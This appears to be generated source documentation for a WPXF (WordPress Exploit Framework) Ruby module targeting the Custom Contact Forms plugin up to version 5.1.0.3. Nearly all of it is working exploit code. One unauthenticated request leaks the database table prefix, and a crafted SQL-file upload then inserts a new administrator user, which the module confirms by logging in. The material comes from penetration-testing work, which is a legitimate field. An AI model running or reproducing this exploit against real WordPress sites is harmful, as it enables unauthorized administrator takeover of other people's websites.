class Wpxf::Auxiliary::CustomContactFormsPrivilegeEscalation

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Module::new
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 7
def initialize
  super

  update_info(
    name: 'Custom Contact Forms Privilege Escalation',
    desc: 'The Custom Contact Forms plugin, up to and including version '\
          '5.1.0.3, allows unauthenticated users to create new admin users '\
          'due to lack of validation when uploading SQL files.',
    author: [
      'Marc-Alexandre Montpas', # Vulnerability discovery
      'rastating'               # WPXF module
    ],
    references: [
      ['URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html'],
      ['URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail='],
      ['WPVDB', '7542']
    ],
    date: 'Aug 07 2014'
  )

  register_options([
    StringOption.new(
      name: 'username',
      desc: 'The username to register with',
      default: Utility::Text.rand_alpha(10)
    ),
    StringOption.new(
      name: 'password',
      desc: 'The password to register with',
      default: Utility::Text.rand_alpha(rand(10..20))
    )
  ])
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 53
def check
  check_plugin_version_from_readme('custom-contact-forms', '5.1.0.4')
end
hashed_password() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 49
def hashed_password
  Utility::Text.md5(password)
end
password() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 45
def password
  normalized_option_value('password')
end
payload_body_builder(prefix) click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 82
def payload_body_builder(prefix)
  builder = Utility::BodyBuilder.new
  builder.add_file_from_string('import_file', sql(prefix), sql_filename)
  builder.add_field('ccf_merge_import', '1')
  builder
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 89
def run
  return false unless super

  emit_info 'Extracting table prefix...'
  prefix = table_prefix
  if prefix.nil?
    emit_error 'Unable to determine table prefix'
    return false
  else
    emit_success "Found table prefix: #{prefix}", true
  end

  emit_info 'Creating new admin user...'
  res = nil
  payload_body_builder(prefix).create do |body|
    scoped_option_change('follow_http_redirection', false) do
      res = execute_post_request(url: wordpress_url_admin_post, body: body)
    end
  end

  if res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
    emit_error 'Failed to create new user'
    emit_error "Code: #{res.code}", true
    emit_error "Location header: #{res.headers['Location']}", true
    return false
  end

  emit_info 'Verifying new account...'
  if wordpress_login(username, password)
    emit_success "User #{username} with password #{password} successfully created"
    return true
  else
    emit_error 'Failed to create new user'
    return false
  end
end
sql(prefix) click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 71
  def sql(prefix)
    <<-END_OF_SQL
      INSERT INTO #{prefix}users (user_login, user_pass) VALUES ('#{username}','#{hashed_password}');
      INSERT INTO #{prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{prefix}users where user_login='#{username}'),'#{prefix}capabilities','a:1:{s:13:"administrator";b:1;}'),((select id from #{prefix}users where user_login='#{username}'),'#{prefix}user_level','10');
    END_OF_SQL
  end
sql_filename() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 78
def sql_filename
  "#{Utility::Text.rand_alpha(5)}.sql"
end
table_prefix() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 57
def table_prefix
  res = execute_post_request(
    url: wordpress_url_admin_post,
    body: {
      'ccf_export' => '1'
    }
  )

  return nil if res.code != 200 || res.body.nil? || res.body.empty?
  match = res.body.match(/insert into `(.+_)customcontactforms_fields`/i)
  return nil if match.nil? || match.length < 2
  match[1]
end
username() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb, line 41
def username
  normalized_option_value('username')
end